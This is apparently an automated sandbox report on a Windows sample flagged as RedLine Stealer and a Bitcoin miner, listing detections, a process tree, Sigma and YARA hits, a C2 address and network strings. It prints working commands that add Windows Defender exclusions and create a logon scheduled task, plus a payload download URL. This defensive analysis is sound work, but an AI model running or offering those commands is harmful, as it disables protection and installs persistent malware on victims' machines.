Play interactive tour

Edit tour

Windows Analysis Report YfTokH7RIj

Overview

General Information

Sample Name:	YfTokH7RIj (renamed file extension from none to exe)
Analysis ID:	545999
MD5:	1b8bf38e83c31c76c7dd00088ac0922d
SHA1:	1bc87682b1518b398ee7eacc4c8e4370b18d359e
SHA256:	25cd127b9d559d6754269ecc116d35be66aca027640bcd71a836567c32b946c5
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

BitCoin Miner RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Yara detected BitCoin Miner

Found malware configuration

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Detected VMProtect packer

Tries to steal Crypto Currency Wallets

Sigma detected: Powershell Defender Exclusion

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

YfTokH7RIj.exe (PID: 6764 cmdline: "C:\Users\user\Desktop\YfTokH7RIj.exe" MD5: 1B8BF38E83C31C76C7DD00088AC0922D)

fl.exe (PID: 1476 cmdline: "C:\Users\user\AppData\Local\Temp\fl.exe" MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 1372 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6932 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 3496 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 5304 cmdline: cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5780 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 6484 cmdline: cmd" cmd /c "C:\Windows\system32\services32.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

services32.exe (PID: 6972 cmdline: C:\Windows\system32\services32.exe MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 2128 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 1572 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 1848 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

sihost32.exe (PID: 6688 cmdline: "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe" MD5: 7E00AE5CF06B98B3D7494EE13532D651)

services32.exe (PID: 5948 cmdline: C:\Windows\system32\services32.exe MD5: BF232E7CD2DE9652142313A13FE16E69)

cmd.exe (PID: 4812 cmdline: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 2480 cmdline: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 5148 cmdline: powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "yabynennet.xyz:81", "Bot Id": "@zhilsholi"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: YfTokH7RIj.exe PID: 6764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: services32.exe PID: 5948	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: services32.exe PID: 6972	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: sihost32.exe PID: 6688	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.YfTokH7RIj.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Overview

System Summary:

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, CommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\fl.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\fl.exe, ParentProcessId: 1476, ProcessCommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, ProcessId: 1372

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , CommandLine: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1372, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" , ProcessId: 6932

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132851852322018989.6932.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Avira: detection malicious, Label: HEUR/AGEN.1143703
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Avira: detection malicious, Label: HEUR/AGEN.1143065
Source: C:\Windows\System32\services32.exe	Avira: detection malicious, Label: HEUR/AGEN.1143703

Found malware configuration

Show sources

Source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "yabynennet.xyz:81", "Bot Id": "@zhilsholi"}

Multi AV Scanner detection for submitted file

Show sources

Source: YfTokH7RIj.exe	Virustotal: Detection: 40%			Perma Link
Source: YfTokH7RIj.exe	ReversingLabs: Detection: 48%

Multi AV Scanner detection for domain / URL

Show sources

Source: yabynennet.xyz

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Virustotal: Detection: 59%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Metadefender: Detection: 26%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe	ReversingLabs: Detection: 71%
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Metadefender: Detection: 31%	Perma Link
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\System32\services32.exe	Metadefender: Detection: 26%	Perma Link
Source: C:\Windows\System32\services32.exe	ReversingLabs: Detection: 71%

Machine Learning detection for sample

Show sources

Source: YfTokH7RIj.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\services32.exe	Joe Sandbox ML: detected

Bitcoin Miner:

Yara detected BitCoin Miner

Show sources

Source: Yara match	File source: 0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: services32.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: services32.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost32.exe PID: 6688, type: MEMORYSTR

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack

Source: YfTokH7RIj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2

Source:

Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: YfTokH7RIj.exe, 00000000.00000003.646920762.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716588388.0000000000428000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D575E8 FindFirstFileA,
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D576C4 FindFirstFileA,GetLastError,

Networking:

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

DNS query: yabynennet.xyz

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: HSAE HSAE

Source: Joe Sandbox View	IP Address: 185.82.202.246 185.82.202.246
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: global traffic

TCP traffic: 192.168.2.4:49781 -> 185.82.202.246:81

Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.722189877.0000000000C25000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	String found in binary or memory: http://go.mic
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
